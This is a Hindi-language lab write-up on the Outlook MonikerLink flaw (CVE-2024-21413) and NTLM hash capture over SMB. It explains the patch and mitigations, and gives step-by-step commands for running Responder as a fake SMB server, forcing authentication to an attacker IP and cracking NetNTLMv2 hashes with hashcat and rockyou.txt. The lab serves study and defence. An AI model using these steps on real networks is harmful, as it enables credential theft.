SMB + Responder प्रयोगशाला (CVE-2024-21413)

🎯 उद्देश्य

इस परियोजना का उद्देश्य CVE-2024-21413 (MonikerLink) भेद्यता का अध्ययन करना था, यह पता लगाना कि कैसे SMB/NTLM प्रोटोकॉल का दुरुपयोग क्रेडेंशियल्स कैप्चर करने के लिए किया जा सकता है।
माइक्रोसॉफ्ट के आधिकारिक पैच के बाद भी, प्रयोगशाला दर्शाती है कि यह अवधारणा आंतरिक परिदृश्यों में मान्य बनी हुई है।

📖 एक्सप्लॉइट सिद्धांत

भेद्यता (CVE-2024-21413), जिसे MonikerLink के नाम से जाना जाता है, को गंभीर (CVSS 9.8) के रूप में वर्गीकृत किया गया था। यह इसलिए होती है क्योंकि Outlook "file://" लिंक को असुरक्षित रूप से संसाधित करता था, पुराने COM API (Moniker Objects) का उपयोग करके। ये ऑब्जेक्ट Outlook को संरक्षित दृश्य (Protected View) से गुज़रे बिना बाहरी संसाधनों को कॉल करने की अनुमति देते थे, जिससे क्लाइंट स्वचालित रूप से SMB कनेक्शन शुरू करने के लिए प्रेरित होता था।

1. Moniker Link क्या है?

यह विंडोज़ की एक सुविधा है जो विशेष लिंक के माध्यम से COM ऑब्जेक्ट्स को संदर्भित करने की अनुमति देती है।

2. Outlook file:// को कैसे संसाधित करता था

मूल एक्सप्लॉइट ने ईमेल द्वारा भेजे गए "file://" या UNC पथों का दुरुपयोग किया।

3. "!" के साथ बाईपास कैसे होता था

लिंक में "!" वर्ण जोड़कर, Outlook की आंतरिक सुरक्षाओं को दरकिनार करना संभव था, जिससे बाहरी संसाधन को सीधे खोलने के लिए मजबूर किया जाता था।

4. NTLM कैसे उजागर होता था

इसके परिणामस्वरूप स्वचालित NTLM प्रमाणीकरण होता था, जो उपयोगकर्ता की महत्वपूर्ण बातचीत के बिना हमलावर को NetNTLMv2 हैश उजागर करता था।

5. पैच क्या ठीक करता है

पैच KB5002519 विशेष रूप से Outlook में इस व्यवहार को अवरुद्ध करता है, जिससे "file://" लिंक को इस तरह से संसाधित होने से रोका जाता है।

6. पैच क्या ठीक नहीं करता

हालांकि, विंडोज़ का स्वचालित NTLM Outlook के संदर्भ के बाहर कार्य करना जारी रखता है, अर्थात, किसी भी SMB संसाधन तक पहुँचने का प्रयास, जहाँ NTLM सक्षम है और प्रमाणीकरण प्रतिबंध नहीं हैं, फिर भी हैश का स्वचालित प्रेषण उत्पन्न कर सकता है।

📌 Outlook, SMB/NTLM और Responder के बीच संबंध मूल एक्सप्लॉइट: दुर्भावनापूर्ण लिंक वाले ईमेल स्पैम के माध्यम से → Outlook प्रक्रिया → NTLM स्वचालित रूप से प्रमाणित → हमलावर को हैश प्राप्त।

आंतरिक प्रयोगशाला: हम केवल अवधारणात्मक भाग का अनुकरण करते हैं → हम मैन्युअल रूप से SMB कनेक्शन को मजबूर करते हैं → Responder हैश कैप्चर करता है → Hashcat क्रैक करता है।

यह अभी भी क्यों काम करता है? क्योंकि NTLM एक विरासत प्रोटोकॉल है जो Outlook से स्वतंत्र रूप से SMB कनेक्शन पर स्वचालित रूप से प्रमाणित करता है। पैच Outlook क्लाइंट को ठीक करता है, लेकिन विंडोज़ में NTLM के व्यवहार को समाप्त नहीं करता

🏗️ प्रयोगशाला की संरचना

• हमलावर: Responder और Hashcat के साथ Kali Linux।
• पीड़ित: Outlook स्थापित विंडोज़।
• नेटवर्क: सिम्युलेटेड LAN, कोई बाहरी जोखिम नहीं।
• उपकरण:
  • Responder → प्रोटोकॉल विषाक्तीकरण और हैश कैप्चर के लिए।
  • Hashcat → कैप्चर किए गए हैश के ऑफ़लाइन क्रैकिंग के लिए।

🛡️ Outlook पैच

परीक्षण के दौरान, Outlook ने ईमेल से आने वाले file:// लिंक को अवरुद्ध कर दिया, सुरक्षा चेतावनी प्रदर्शित करते हुए:

टिप्पणी

फरवरी 2024 में जारी पैच KB5002519, file:// लिंक को अवरुद्ध करके ईमेल के माध्यम से बाहरी वेक्टर को कम करता है।
हालांकि, NTLM प्रोटोकॉल अभी भी SMB कनेक्शन पर स्वचालित प्रमाणीकरण की अनुमति देता है।
इसका मतलब है कि, हालाँकि Outlook इस विशिष्ट एक्सप्लॉइट से सुरक्षित है, आंतरिक हमले की सतह मान्य बनी हुई है।
मूल मुद्दा प्रमाणीकरण तंत्र के रूप में NTLM पर निर्भरता में निहित है, जो SMB कनेक्शन पर हैश कैप्चर के लिए संवेदनशील बना हुआ है।

📊 जोखिम मीट्रिक्स

• CVE: CVE-2024-21413
• CVSS: 9.8 (गंभीर)
• प्रभाव: RCE + क्रेडेंशियल लीक
• वेक्टर: बाहरी (Outlook) और आंतरिक (SMB/NTLM)
• अनुशंसित शमन:
  • पैच KB5002519 लागू करें।
  • जहाँ संभव हो NTLM अक्षम करें।
  • AD वातावरण में Kerberos लागू करें।
  • MFA और मजबूत पासवर्ड लागू करें।

📚 सीखे गए सबक

1. Outlook पैच केवल बाहरी लिंक पर क्लिक को अवरुद्ध करता है।
2. SMB/NTLM नेटवर्क के अंदर हमले की सतह बना हुआ है।
3. NetNTLMv2 हैश को कैप्चर और ऑफ़लाइन तोड़ा जा सकता है।
4. कमजोर पासवर्ड सामान्य वर्डलिस्ट में आसानी से पाए जाते हैं।
5. आधिकारिक सुधार के बावजूद, भेद्यता आंतरिक परिदृश्यों में प्रासंगिक बनी हुई है।

📌 चरण-दर-चरण

1. Responder प्रारंभ करें यहाँ हम Kali के नेटवर्क इंटरफ़ेस पर Responder प्रारंभ करते हैं। यह एक नकली SMB सर्वर के रूप में कार्य करता है, पीड़ित के अनुरोधों का जवाब देने और NTLM क्रेडेंशियल्स कैप्चर करने के लिए तैयार। यह कदम प्रोटोकॉल विषाक्तीकरण और अवरोधन के वातावरण को तैयार करने के लिए आवश्यक है। Kali Linux पर कमांड:

sudo responder -I eth0

2. SMB संचार को मजबूर करें
   विंडोज़ पर, हम मैन्युअल रूप से हमलावर के IP की ओर इशारा करते हुए एक SMB संसाधन तक पहुँचते हैं। यह पहुँच विंडोज़ क्लाइंट को NTLM के माध्यम से स्वचालित रूप से प्रमाणित करने के लिए मजबूर करती है, हैश को नकली सर्वर (Responder) को भेजती है। यह वह क्षण है जब क्रेडेंशियल्स का प्रारंभिक जोखिम होता है। हम SMB संचार को दो तरीकों से मजबूर कर सकते हैं:

एक्सप्लोरर के माध्यम से, मैन्युअल रूप से पहुँचते हुए:

\\<हमलावर का IP>\test.

टर्मिनल (cmd या PowerShell) के माध्यम से, कमांड का उपयोग करके:

net use \\<हमलावर का IP>\test

3. हैश कैप्चर
   Responder प्रमाणीकरण प्रयास को रोकता है और NTLMv2 हैश को /usr/share/responder/logs/ निर्देशिका में एक लॉग फ़ाइल में सहेजता है। इस फ़ाइल में क्रैकिंग के लिए उपयोग की जाने वाली कच्ची सामग्री होती है। यहाँ हम भेद्यता को प्रदर्शित करते हैं: स्पष्ट टेक्स्ट पासवर्ड के बिना भी, हैश को कैप्चर और पुन: उपयोग किया जा सकता है।

/usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt

4. Hashcat के साथ क्रैकिंग
   Hashcat चलाने से पहले, हम हैश को लॉग से अपने होम डायरेक्टरी (~/hash.txt) में एक फ़ाइल में कॉपी करते हैं। यह हेरफेर को सुविधाजनक बनाता है और सुनिश्चित करता है कि Hashcat की सीधी पहुँच हो। फिर, हम Hashcat को मोड 5600 (NetNTLMv2) में rockyou.txt वर्डलिस्ट के साथ चलाते हैं। यह प्रक्रिया हैश को ऑफ़लाइन तोड़ने का प्रयास करती है, यह दर्शाती है कि कमजोर पासवर्ड कितनी जल्दी खोजे जा सकते हैं। परिणाम दर्शाता है कि पासवर्ड मिला या नहीं, भेद्यता के वास्तविक जोखिम को उजागर करता है।

hashcat -m 5600 -a 0 ~/hash.txt /usr/share/wordlists/rockyou.txt

नोट:
सुरक्षा कारणों से वास्तविक पासवर्ड प्रदर्शित नहीं किया गया है। उद्देश्य प्रक्रिया और भेद्यता को प्रदर्शित करना है।

✅ निष्कर्ष

इस प्रयोगशाला ने स्पष्ट किया कि:

• Outlook के माध्यम से एक्सप्लॉइट पैच द्वारा अवरुद्ध कर दिया गया।
• फिर भी, मैन्युअल रूप से SMB हैश को कैप्चर और तोड़ना संभव है।
• भेद्यता एक अवधारणा के रूप में मान्य बनी हुई है, जो आंतरिक सख्तीकरण, मजबूत पासवर्ड और Kerberos/टोकन-आधारित प्रमाणीकरण में स्थानांतरण के महत्व को रेखांकित करती है।